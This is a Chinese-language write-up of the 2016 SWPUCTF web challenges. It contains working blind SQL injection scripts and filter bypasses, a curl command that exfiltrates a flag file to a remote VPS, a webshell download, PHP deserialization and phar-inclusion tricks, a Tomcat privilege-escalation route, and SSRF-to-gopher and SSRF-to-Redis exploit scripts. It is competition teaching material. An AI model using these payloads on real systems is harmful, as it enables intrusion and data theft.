2016-SWPUCTF WEB

说在前面

对于web,不得不说,这是一场质量很高的CTF,感谢师傅提供好题目,好环境。

在这里记录一下这次web所涉及到的姿势,好好膜拜学习。

web200-1

题目hint:注入,使用from和括号,

在登录框输入尝试可知用户名是admin,在header头部看到提示,一串base64,解码后为

1
2
3
$query="SELECT * FROM admin WHERE uname='".$uname."'";
if ($row['passwd']===$passwd){
$_SESSION['flag'] = 1;

通过多个尝试,过滤了空格、#、*、union、like、regexp、and、or、|、–、&、%0a、%0b、%0c、%0d等

剩下() ‘ = select from where等其他了

空格可以使用括号来绕过,如

1
2
select pass from admin where user='xxxx' 和下面这个没区别
select(pass)from(admin)where(user)=('xxxx')

接下来想办法把最后的单引号 ‘ 消去,mysql操作符参考

消去单引号

构造布尔条件,在Mysql的where里,允许

1
select pass from admin where user='-1'=1'='0'

1

其过程从左开始,

1
2
3
uname的查询结果与'-1'比较---为假0
假与1比较------------------为假0
假与'0'比较----------------为真1

于是最后为真,所以可以注了现在,此处为盲注。构造

1
2
3
4
uname=kkk'=(select(1)from(admin)where('1')=('1'))='
select * from admin where uname='kkk'=(select(1)from(admin)where('1')=('1'))=''
uname=kkk'=(select(1)from(admin)where(length(passwd))=32)='&passwd=1 ---md5=32位

之后就是盲注跑密码了,然后发现逗号是过滤的,所以截断函数substr(),mid(),limit.不行

绕过逗号

不用逗号使用截断函数,http://www.2cto.com/article/201609/545408.html上有说

逗号绕过

在使用盲注的时候,需要使用到substr(),mid(),limit。这些子句方法都需要使用到逗号。对于substr()和mid()这两个方法可以使用from to的方式来解决。

1
2
3
> select substr(database() from 1 for 1);
> select mid(database() from 1 for 1);
>

但是for包含了or也会过滤,但是不实用for也行的,把for 1去掉,执行,

不断变换最后from的1(N),则mid或是substr将会从右往左开始取第N位到末尾

1

所以构造盲注

1
2
3
4
5
6
7
8
9
10
pay_str = '1234567890abcdef'
flag = ""
url = "http://web1.08067.me/login.php"
for length in range(0,32):
for i in md5_str:
"kkk'=(select(1)from(admin)where(mid((passwd)from("+"32-length"+"))="+i+flag+"))='&passwd=1"
...
if "xxx" in res:
flag = i + flag
print 32-length,flag

官方提供POC:

uname='!=!!(ascii(mid((passwd)from(1)))=99)!=!!'1&passwd=dddd

uname=12'%(ascii(mid((passwd)from(1)))=99)%'1&passwd=dddd

uname=12'%(ascii(mid((passwd)from(1)))=99)^'1&passwd=dddd

uname=12'-(length(trim(leading%a0'c12'%a0from%a0passwd))<32)-'0&passwd=1

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
> import urllib2
> url="http://web1.08067.me/login.php"
> data="abcdefghijklmnopqrstuvwxyz1234567890"
> xx=""
> flag=0
> listdata=list(data)
> for jj in range(0,33)[::-1]:
> #print jj
> for ii in listdata:
> post_data="uname=admin'=(select(select(substring(passwd%a0from%a0"+str(jj)+"))from%a0admin%a0where%a0uname='admin')='"+ii+xx+"')='1'='1&passwd=2"
> #print post_data
> req = urllib2.urlopen(url, post_data).read()
> if(req.find('password error')>-1):
> flag=1
> xx=ii+xx
> print xx
> break
> else:
> flag=0
>

得到密码后进入后台,可以执行命令。空格过滤了,但是制表符能代替Linux命令行下的空格

,但是对反弹shell的一些关键字做了过滤,并且命令没有回显,新姿势,利用curl包裹命令打到远程vps的日志上面,查看日志,厉害了我的哥。

命令执行

官方exp:

curl$IFS\vps:1234/cat$IFS\../../flag

然后远程监听1234

1

0x0.1法

curl http://xxxxxx/\`ls ./|head -n 1 | tail -n 1` 查看flag在哪个目录下

curl http://114.215.113.20/\`cat ../../flag`

空格使用制表符替换

然后查看xxxx服务器日志,

0x0.2法

空格的话Linux中可以用${IFS}来代替,然后尝试下载一个zip的文件(zip里面包含一个一句话木马)在网站的根目录底下

curl${IFS}-o${IFS}2.zip${IFS}http://xxx.xxx.xxx.xxx/2.zip

unzip${IFS}2.zip

然后在网站的admin目录下就有一个shell,2.php,地址:

http://web1.08067.me/admin/2.php

web200-2

hint:得到两个.bak备份文件

源码

  • /wakeup/index.php.bak

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    if(isset($_COOKIE['user'])){
    $login = @unserialize(base64_decode($_COOKIE['user']));
    if(!empty($login->pass)){
    $status = $login->check_login();
    if($status == 1){
    $_SESSION['login'] = 1;
    var_dump("login by cookie!!!");
    }
    }
    }
  • /wakeup/index.php.bak

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    68
    69
    70
    71
    72
    73
    74
    75
    76
    77
    78
    79
    80
    81
    82
    83
    84
    85
    86
    87
    88
    89
    90
    91
    92
    93
    94
    95
    96
    97
    98
    99
    100
    101
    102
    103
    104
    105
    106
    107
    108
    109
    110
    111
    112
    113
    114
    115
    116
    117
    118
    119
    120
    121
    122
    123
    124
    125
    126
    127
    128
    129
    130
    131
    132
    133
    134
    135
    136
    137
    138
    139
    140
    141
    142
    143
    144
    145
    146
    147
    148
    149
    150
    151
    152
    153
    154
    155
    156
    157
    158
    159
    160
    161
    162
    163
    164
    165
    166
    167
    168
    169
    170
    171
    172
    173
    174
    175
    176
    177
    178
    179
    180
    181
    182
    183
    184
    185
    186
    187
    188
    189
    190
    191
    192
    193
    194
    195
    196
    197
    198
    199
    200
    class help {
    static function addslashes_deep($value)
    {
    if (empty($value))
    {
    return $value;
    }
    else
    {
    if (!get_magic_quotes_gpc())
    {
    $value=is_array($value) ? array_map("help::addslashes_deep", $value) : help::mystrip_tags(addslashes($value));
    }
    else
    {
    $value=is_array($value) ? array_map("help::addslashes_deep", $value) : help::mystrip_tags($value);
    }
    return $value;
    }
    }
    static function remove_xss($string) {
    $string = preg_replace('/[\x00-\x08\x0B\x0C\x0E-\x1F\x7F]+/S', '', $string);
    $parm1 = Array('javascript', 'union','vbscript', 'expression', 'applet', 'xml', 'blink', 'link', 'script', 'embed', 'object', 'iframe', 'frame', 'frameset', 'ilayer', 'layer', 'bgsound', 'base');
    $parm2 = Array('onabort', 'onactivate', 'onafterprint', 'onafterupdate', 'onbeforeactivate', 'onbeforecopy', 'onbeforecut', 'onbeforedeactivate', 'onbeforeeditfocus', 'onbeforepaste', 'onbeforeprint', 'onbeforeunload', 'onbeforeupdate', 'onblur', 'onbounce', 'oncellchange', 'onchange', 'onclick', 'oncontextmenu', 'oncontrolselect', 'oncopy', 'oncut', 'ondataavailable', 'ondatasetchanged', 'ondatasetcomplete', 'ondblclick', 'ondeactivate', 'ondrag', 'ondragend', 'ondragenter', 'ondragleave', 'ondragover', 'ondragstart', 'ondrop', 'onerror', 'onerrorupdate', 'onfilterchange', 'onfinish', 'onfocus', 'onfocusin', 'onfocusout', 'onhelp', 'onkeydown', 'onkeypress', 'onkeyup', 'onlayoutcomplete', 'onload', 'onlosecapture', 'onmousedown', 'onmouseenter', 'onmouseleave', 'onmousemove', 'onmouseout', 'onmouseover', 'onmouseup', 'onmousewheel', 'onmove', 'onmoveend', 'onmovestart', 'onpaste', 'onpropertychange', 'onreadystatechange', 'onreset', 'onresize', 'onresizeend', 'onresizestart', 'onrowenter', 'onrowexit', 'onrowsdelete', 'onrowsinserted', 'onscroll', 'onselect', 'onselectionchange', 'onselectstart', 'onstart', 'onstop', 'onsubmit', 'onunload','href','action','location','background','src','poster');
    $parm3 = Array('alert','sleep','load_file','confirm','prompt','benchmark','select','and','or','xor','update','insert','delete','alter','drop','truncate','script','eval','outfile','dumpfile');
    $parm = array_merge($parm1, $parm2, $parm3);
    for ($i = 0; $i < sizeof($parm); $i++) {
    $pattern = '/';
    for ($j = 0; $j < strlen($parm[$i]); $j++) {
    if ($j > 0) {
    $pattern .= '(';
    $pattern .= '(&#[x|X]0([9][a][b]);?)?';
    $pattern .= '|(&#0([9][10][13]);?)?';
    $pattern .= ')?';
    }
    $pattern .= $parm[$i][$j];
    }
    $pattern .= '/i';
    $string = preg_replace($pattern, '****', $string);
    }
    return $string;
    }
    static function mystrip_tags($string)
    {
    $string = help::new_html_special_chars($string);
    $string = help::remove_xss($string);
    return $string;
    }
    static function new_html_special_chars($string) {
    $string = str_replace(array('&', '"', '<', '>','&#'), array('&', '"', '<', '>','***'), $string);
    return $string;
    }
    // 实体出库
    static function htmlspecialchars_($value)
    {
    if (empty($value))
    {
    return $value;
    }
    else
    {
    if(is_array($value)){
    foreach ($value as $k => $v) {
    $value[$k] = self::htmlspecialchars_($v);
    }
    }else{
    $value = htmlspecialchars($value);
    }
    return $value;
    }
    }
    //sql 过滤
    static function CheckSql($db_string,$querytype='select')
    {
    $clean = '';
    $error='';
    $old_pos = 0;
    $pos = -1;
    if($querytype=='select')
    {
    $notallow1 = "[^0-9a-z@\._-]{1,}(load_file|outfile)[^0-9a-z@\.-]{1,}";
    if(preg_match("/".$notallow1."/i", $db_string))
    {
    exit("Error");
    }
    }
    //完整的SQL检查
    while (TRUE)
    {
    $pos = strpos($db_string, '\'', $pos + 1);
    if ($pos === FALSE)
    {
    break;
    }
    $clean .= substr($db_string, $old_pos, $pos - $old_pos);
    while (TRUE)
    {
    $pos1 = strpos($db_string, '\'', $pos + 1);
    $pos2 = strpos($db_string, '\\', $pos + 1);
    if ($pos1 === FALSE)
    {
    break;
    }
    elseif ($pos2 == FALSE || $pos2 > $pos1)
    {
    $pos = $pos1;
    break;
    }
    $pos = $pos2 + 1;
    }
    $clean .= '$s$';
    $old_pos = $pos + 1;
    }
    $clean .= substr($db_string, $old_pos);
    $clean = trim(strtolower(preg_replace(array('~\s+~s' ), array(' '), $clean)));
    if (strpos($clean, '@') !== FALSE OR strpos($clean,'char(')!== FALSE OR strpos($clean,'"')!== FALSE
    OR strpos($clean,'$s$$s$')!== FALSE)
    {
    $fail = TRUE;
    if(preg_match("#^create table#i",$clean)) $fail = FALSE;
    $error="unusual character";
    }
    elseif (strpos($clean, '/*') !== FALSE ||strpos($clean, '-- ') !== FALSE || strpos($clean, '#') !== FALSE)
    {
    $fail = TRUE;
    $error="comment detect";
    }
    elseif (strpos($clean, 'sleep') !== FALSE && preg_match('~(^|[^a-z])sleep($|[^[a-z])~is', $clean) != 0)
    {
    $fail = TRUE;
    $error="slown down detect";
    }
    elseif (strpos($clean, 'benchmark') !== FALSE && preg_match('~(^|[^a-z])benchmark($|[^[a-z])~is', $clean) != 0)
    {
    $fail = TRUE;
    $error="slown down detect";
    }
    elseif (strpos($clean, 'load_file') !== FALSE && preg_match('~(^|[^a-z])load_file($|[^[a-z])~is', $clean) != 0)
    {
    $fail = TRUE;
    $error="file fun detect";
    }
    elseif (strpos($clean, 'into outfile') !== FALSE && preg_match('~(^|[^a-z])into\s+outfile($|[^[a-z])~is', $clean) != 0)
    {
    $fail = TRUE;
    $error="file fun detect";
    }
    if (!empty($fail))
    {
    exit("Error" . $error);
    }
    else
    {
    return $db_string;
    }
    }
    }
    class login{
    var $uid = 0;
    var $name='';
    var $pass='';
    //检查用户是否已登录
    public function check_login(){
    mysql_conn();
    $sqls = "select * from phpinfoadmin where username='$this->name'";
    $sqls = help::CheckSql($sqls);
    $re = mysql_query($sqls);
    $results = @mysql_fetch_array($re);
    //echo $sqls . $results['passwd'];
    mysql_close();
    if (!empty($results))
    {
    if($results['passwd'] == $this->pass)
    {
    return 1;
    }
    else
    {
    return 0;
    }
    }
    }
    //预防cookie某些破坏导致登陆失败
    public function __destruct(){
    $this->check_login();
    }
    //反序列化时检查数据
    public function __wakeup(){
    $this->name = help::addslashes_deep($this->name);
    $this->pass = help::addslashes_deep($this->pass);
    }
    }
    ?>

分析

这里使用反序列化,一个wakeup的洞,可以绕过除去CheckSql()函数的其他过滤函数,

wakeup

说说wakeup

  • 当序列化好的串交给反序列话函数unserialize()处理时,如果元素标识处大于实际元素,会跳过function wakeup()函数,直接到function destruct()函数,如:

    1
    2
    3
    4
    > O:5:"login":2:{s:4:"name";s:5:"admin";s:4:"pass";s:32:"xxxx";}
    > 将2改为5
    > O:5:"login":5:{s:4:"name";s:5:"admin";s:4:"pass";s:32:"xxx";}
    >

提提反序列化两个特性(与此题无关)

  • 数字前面放一个+号。不影响反序列,可用与绕过正则。

    1
    2
    > O:+5:"login":5:{s:4:"name";s:5:"admin";s:4:"pass";s:32:"xxx";}
    >

>

  • 当类变量是私有变量时,序列化的字符串加这样格式更好:

    1
    2
    > O:5:"login":5:{s:11:"%00login%00name";s:5:"admin";s:4:"pass";s:32:"xxx";}
    >

checksql绕过

所以现在考虑的是checksql函数,这是80sec-ids的,网上有绕过方法,

0x0.1

题目应该是时间盲注,但是sleep和benchmark被过滤,

http://blogs.360.cn/360webscan/2013/08/12/oracle10g-unwrap%E6%8A%80%E6%9C%AF%E5%88%86%E6%9E%90-by-genxor/

因为sleep和上下面是if–elseif判断,可以被逃逸出来不被waf检测,在DeDeCMS里用的也是这一个WAF,在网络上查找一番之后,发现如果数据被两个`包裹的话,就不会进行检测

了解到在mysql中,以包裹的字符串会当做表名/列名处理,如果是包裹的单引号的话,也就相当于什么都没有包裹,于是只要改变原有的where条件就可以了.

如:

admin’ and (select 1 from flag where ascii(mid(flag,1,1))=33) and (`‘`.``.username=1 or sleep(3)) #

然后盲注即可

0x0.2 heavy query

目地都是用到一些消耗资源的方式让数据库的查询时间尽量变长,到达sleep函数效果。而消耗数据库资源的最有效的方式就是让两个大表做迪卡尔积,这样就可以让数据库的查询慢下来,

可以参考更多例子在:http://www.sqlinjection.net/heavy-query/

最后找到系统表information_schema.columns 数据量比较大,可以满足

1
select count(*) from information_schema.columns, information_schema.columns T1,information_schema.columns T2

本地的运行的时间在十三秒左右,根据这个理论就可以不用benchmark,sleep而做延时注入了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
import base64
import urllib
import urllib2
import base64
import time
#ll=list("abcdefghijklmnopqrstuvwxyz1234567890")
#llascii=[]
#for jj in ll:
# llascii.append(ord(jj))
for kk in range(1,32):
print "di : "+str(kk)
for i in range(32,127):
start= time.time()
url="http://web3.08067.me/wakeup/index.php"
sql="select flag from flag"
post_data="username=heheda&password=heheda&login="
payload="admin'and ascii(substring((%s),%s,1))=%s and (select count(*) from information_schema.columns, information_schema.columns T1,information_schema.columns T2)=1 and '1'='1" % (sql,str(kk),str(i))
xueliehua='''O:5:"login":4:{s:3:"uid";i:0;s:4:"name";s:%s:"%s";s:4:"pass";s:32:"6be530e78ade605347059701a54f996e";}
''' % (str(len(payload)),payload)
#print xueliehua
b64=base64.b64encode(xueliehua)
urlencodedata=urllib.quote(b64)
heads={}
heads["Cookie"]="user="+urlencodedata
#print urlencodedata
req = r=urllib2.Request(url,data=post_data,headers=heads)
resual= urllib2.urlopen(r)
resual.read()
end= time.time()
#print str(end-start)+":",
#print chr(i)
if 20>(end-start)>8:
print "this this:"+str(kk)+" : "+chr(i)
break

web100

这是文件上传然后包含getshell,一般的包含不行的。可以php协议php://filter读代码看看

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
@$file = $_GET["file"];
if(isset($file))
{
if (preg_match('/http|data|ftp|input|%00/i', $file) || strstr($file,"..") !== FALSE || strlen($file)>=70)
{
echo "<p> error! </p>";
}
else
{
include($file.'.php');
}
}
?>

phar文件包含:http://www.hackdig.com/09/hack-26779.htm

利用方法

shell.php–>shell.zip–>该后缀jpg–>上传包含–>phar:///upload/xxxx/shell.jpg/shell

web200-3

这题接着上一道web100,web100 getshell后得到hint: tomcat.08067.me以及flag2在root目录下,这很容易让人想到需要提权

tomcat.08067.me页面在这同一台服务器,但又需要提权所以很容易联想到最近爆出(CVE-2016-1240)tomcat本地提权漏洞。这样就需要从apache权限用户获得一个tomcat用户权限

并且tomcat的web根目录为apache可写,tomcat的默认路径在/var/lib/tomcat6/,往/var/lib/tomcat6/webapps/ROOT/写一个jsp的马,获得tomcat用户权限,最后再上exp获取root权限即可

参考地址:http://www.freebuf.com/vuls/115862.html

然后把tomcat的提权exp丢上去,直接提权

提权过程需要path_to_catalina.out这个文件的绝对路径,该文件在/var/lib/tomcat6/logs/catalina.out

exp

web300

这个题一看界面,输入地址检验,就想到时ssrf

这里就是利用file://协议去读文件,读网卡看看内网ip段。

centos的网卡地址/etc/sysconfig/network-scripts/ifcfg-eth0。

是在172.16.181.0/24段

后探测下C段,发现只有172.16.181.166主机的80 存在一个应用

尝试扫一波目录,发现了一个常规目录admin/login.php,访问之,发现一个POST登陆表单

既然是POST,自然就想到了利用gopher协议构造POST包。

gopher://172.16.181.166:80/_POST /admin/wllmctf_login.php HTTP/1.1%0d%0aHost: 172.16.181.166%0d%0aUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:49.0) Gecko/20100101 Firefox/49.0%0d%0aAccept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8%0d%0aAccept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3%0d%0aAccept-Encoding: gzip, deflate%0d%0aConnection: close%0d%0aUpgrade-Insecure-Requests: 1%0d%0aContent-Type: application/x-www-form-urlencoded%0d%0aContent-Length: 36%0d%0a%0d%0ausername=admin’ and ‘1’=’1&password=123456”

当然需要urlencode再发送。其中%0d%0a换行符号,整理一下看看:

gopher://172.16.181.166:80/_POST /admin/wllmctf_login.php HTTP/1.1

Host: 172.16.181.166

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:49.0) Gecko/20100101 Firefox/49.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8

Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3

Accept-Encoding: gzip, deflate

Connection: close

Upgrade-Insecure-Requests: 1

Content-Type: application/x-www-form-urlencoded

Content-Length: 36

username=admin’ and ‘1’=’1&password=123456”

注意点

  • 这里的表单action是wllmctf_login.php而不是login.php。
  • gopher发包一定要填写端口,因他不像http默认走80端口。
  • 注意post包里面的Content-Length的长度一定要和post的内容长度相符合,
  • 记得加上Content-Type: application/x-www-form-urlencoded,然后记得是两次url编码

是bool盲注,盲注真多,登录就好

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
# -*- coding: utf-8 -*-
import re
import os
import requests
import time
import urllib
sql="select password from ssrf"
for x in range(1,40):
print "di:"+str(x)
for i in range(32,127):
payload="admin' and 1=1 and (select(ascii(mid(((%s)),%s,1))=%s))" % (sql,x,i)
payload=payload+"%23"
length=len(payload)
content_len=length+23
# print content_len
u_payload=urllib.quote(payload)
url="http://web5.08067.me/index.php?url=gopher%3A%2f%2f172.16.181.166%3A80%2f_POST%20%2fadmin%2fwllmctf_login.php%20HTTP%2f1.1%250d%250aHost%3A%20172.16.181.166%250d%250aUser-Agent%3A%20curl%2f7.43.0%250d%250aAccept%3A%20%2a%2f%2a%250d%250aContent-Length%3A%20"+str(content_len)+"%250d%250aContent-Type%3A%20application%2fx-www-form-urlencoded%250d%250a%250d%250ausername%3D"+u_payload+"%26password%3D1212"
# print url
res=requests.get(url).text
if "password" in res:
print chr(i)
break

web200-4

一个cherry写的,又是ssrf

是利用了Python urllib HTTP头注入向然后操作redis,修改admin密码,然后登录,登录出提示fast,fast!!,所以可能存在竞争,

http操作redis格式

http://127.0.0.1
xxx
:6379/foo

利用:

value=http://127.0.0.1%0d%0aset%20admin%20lineline%0d%0a:6379/foo

就是:

value=http://127.0.0.1

aset admin haha

:6379/foo

多线程发包,

然后使用burp多线程登录haha

官方exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
import requests
import threading
def test():
while True:
try:
url = "http://web7.08067.me/web7/input"
data = {'value': 'http://127.0.0.1%0d%0aCONFIG%20SET%20dir%20%2ftmp%0d%0aCONFIG%20SET%20dbfilename%20evil%0d%0aSET%20admin%20xx00%0d%0aSAVE%0d%0a:6379/foo'}
requests.post(url, data=data)
except Exception, e:
pass
def test2():
while True:
try:
url = "http://web7.08067.me/web7/admin"
data = {'passworld': 'xx00'}
text = requests.post(url, data=data).text
if 'flag' in text:
print text
except:
pass
list = []
for i in range(10):
t = threading.Thread(target=test)
t.setDaemon(True)
t.start()
list.append(t)
for i in range(10):
t = threading.Thread(target=test2)
t.setDaemon(True)
t.start()
list.append(t)
for i in list:
i.join()

web400

扫描到web.zip,代码审计题

等待再写。。。

参考文章